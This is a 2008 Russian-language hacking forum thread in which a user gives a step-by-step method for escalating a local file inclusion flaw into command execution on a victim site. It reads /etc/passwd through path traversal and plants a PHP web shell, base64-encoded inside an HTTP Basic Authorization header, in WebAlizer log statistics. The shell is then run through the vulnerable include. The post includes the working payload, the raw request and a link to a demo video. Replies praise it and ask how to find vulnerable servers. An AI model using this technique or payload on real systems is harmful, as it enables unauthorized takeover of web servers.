Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   WebAlizer в помошь при Local Include (https://forum.antichat.xyz/showthread.php?t=71902)

slesh 29.05.2008 11:16

WebAlizer в помошь при Local Include
 
WebAlizer в помошь при Local Include
Часто бывает что ри нахождении уязвимости типа Local Include нет возможности закачать шелл т.е.

1) Нет форумови скриптов которые сохраняют файлы
2) Не найдены логи апача или иные места возможного залива шела или к ним нет доступа


Прорыв обороны может быть осуществлен через сервис WebAlizer.

Суть сервиса - ежедневно создавать статистику работы веб сервера анализируя его логи.
Ход действий:
1. Берем подопытный сайт с local include
Также необходимо присутствие там сервиса WebAlizer
2. Узнаем путь к папке WebAlizer'a
Для этого просто смотрим файл /etc/passwd
находим там юзверя с именем webalizer и смотрим его домашнюю папку.
3. Смотрим статистику WebAlizer'a
Осуществляем это всё через всё тотже Local Include
типа script.php?file=../../../../../../../../../../домашняя_папка_WebAlizer'a/index.html
От туда берем ссылку на статистику последнего месяца. А именно имя файла. ЧТото типа такого:usage_200804.html
4. Выбираем место для шела
Чаще всего подходящим местом бывает имя пользователя, потому что редко встречается и довольно легко попадает в таблицу статистики.
5. Заливка шела
Браузер не даст нам просто так закинуть шел в имеи пользователя, по этому сделаешь запрос в ручную.
Который потом отошлем через телнет или Ip-Tools. Промежуточный шелл будет у нас таким:
Код:

<? system($cmd); ?>
Для возможности заливки необходимо составить запрос авториации примерно такого вида:
GET / HTTP/1.1
Host: site.com
Authorization: Basic PD8gc3lzdGVtKCRjbWQpOyA/Pjo=

Эта строка представляет собой текст base64('<? system($cmd); ?>: ');
Обратити внимание на то, что в конце обязательно должно стоять двоеточие и пробел. (\\В видео есть ошибка в этом месте\\)
После отправки данного запроса необходимо подождать около суток, чтобы WebAlizer провел анализ логов апача
6. Непосредственно выполнение шела
После анализа логов будет обновлен файл статистики текущего месяца в котором будет уже наш шелл который мы выполним так:site.com/scritp.php?file=../../../../../../../../домашняя_папка_WebAlizer'a/usage_200804.html&cmd=ls

Остальное дело уже простое и банальное. ;)

Скачать демонстрационное видео можно тут: http://oasis.xost.ru/final.rar

satana8920 29.05.2008 12:34

опиши как найти через гугл сервак с установленным сие чудом а так статейка понравилась поставил плюсеГ

slesh 29.05.2008 12:40

2 satana8920 Это просто один из методов. В последнее время всё чаще и чаще стал встречаться WebAlizer. Это всеголишь один из многочисленных способов заливки шелла.

c411k 03.09.2008 03:43

это статья? еще пару строчек в дополнение к первому посту темы http://forum.antichat.ru/thread49775.html

slesh 04.09.2008 12:33

2 c411k Это всеголишь один из вариантов того, что можно использовать при Local Include, но в отличии от других - этот более своеобразен, чем просто обычная запись в логи

Nek1t 08.09.2008 01:05

Черт! Никак не могу найти топик на ачате, где написаны разнообразные пути к логам апача и другим подобным сервисам?

slesh 08.09.2008 11:51

o_O ну так вот он же http://forum.antichat.ru/thread49775.html

guest3297 09.09.2008 02:06

Молодец хорошее оформление.
Но логи они есть логи есть очень много систем логирования в которых можно записать шелл гараздо сложнее.


Время: 07:24